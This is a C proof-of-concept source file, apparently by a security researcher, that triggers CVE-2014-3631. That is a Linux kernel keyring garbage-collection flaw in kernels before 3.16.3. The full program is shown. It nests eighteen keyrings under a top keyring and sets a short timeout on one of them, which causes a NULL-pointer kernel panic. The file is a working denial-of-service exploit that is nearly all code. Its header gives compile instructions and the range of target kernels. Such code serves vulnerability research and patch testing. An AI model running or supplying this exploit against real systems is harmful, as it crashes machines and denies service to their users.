Linux CVE-2014-3631 Proof Of Concept

/* ----------------------------------------------------------------------------------------------------
 * cve-2014-3631_poc.c
 *
 * The assoc_array_gc function in the associative-array implementation in lib/assoc_array.c in the Linux kernel before 3.16.3
 * does not properly implement garbage collection, which allows local users to cause a denial of service (NULL pointer dereference and system crash)
 * or possibly have unspecified other impact via multiple "keyctl newring" operations followed by a "keyctl timeout" operation.
 *
 *
 * This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic.
 *
 * Compile with gcc -fno-stack-protector -Wall -o cve-2014-3631_poc cve-2014-3631_poc.c  -lkeyutils
 *
 *
 * Emeric Nasi - www.sevagas.com
 *-----------------------------------------------------------------------------------------------------*/

/* -----------------------   Includes ----------------------------*/

#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <inttypes.h>
#include <keyutils.h>
#include <fcntl.h>

#define TARGET_KERNEL_MIN "3.13.0"
#define TARGET_KERNEL_MAX "3.16.2"
#define EXPLOIT_NAME "cve-2014-3631"
#define EXPLOIT_TYPE DOS

/* -----------------------   functions ----------------------------*/

/**
 * Poc for cve_2014_3631 vulnerability
 */
int main()
{
 key_serial_t currentKey = 0;
 key_serial_t topKey = 0;
 int i = 0;
 int fp;
 char kname[16]={0};
 char gc_delay[16] = {0};
 int delay  =0;
 
 printf("[cve_2014_3631]: Preparing to exploit.\n");

 // fetch garbage collector value..
 fp = open("/proc/sys/kernel/keys/gc_delay",O_RDONLY);
 if(fp == -1)
 {
   printf("[cve_2014_3631 error]: Could not open /proc/sys/kernel/keys/gc_delay, assuming delay is 5 minutes. \n");
   delay = 300;
 }
 else
 {
  read(fp,gc_delay,sizeof(gc_delay-1));
  delay = atoi(gc_delay);
  close(fp); 
 }

 // Add top key
 topKey = add_key("keyring","Lvl1K",NULL,0,KEY_SPEC_USER_KEYRING);
 if(topKey == -1)
 {
  printf("[cve_2014_3631 error]: keyring  fault\n");
  perror("add_key");
  return -1;
 }
 
 // Add 18 keys to top key
 for(i=0; i< 18; i++)
 {
  memset(kname,00,sizeof(kname));
  memcpy(kname,"Lvl2K_",strlen("Lvl2K_"));
  sprintf(kname+strlen("Lvl2K_"),"%d",i);
  currentKey = add_key("keyring",kname,NULL,0,topKey);
  if(currentKey == -1)
  {
   printf("[cve_2014_3631 error]: keyring  fault\n");
   perror("add_key");
   return -1;
  }
 }
 
 /* Entering exploit critical code */
 printf("[cve_2014_3631]:  Exploit!\n");
 
 // Set timeout and wait for garbage collector
 keyctl_set_timeout(currentKey, 2);
 
 // Wait for garbage collector
 printf("[cve_2014_3631]: Exploit triggered, system will panic in  %d seconds..\n",delay);
 
 return 0;
}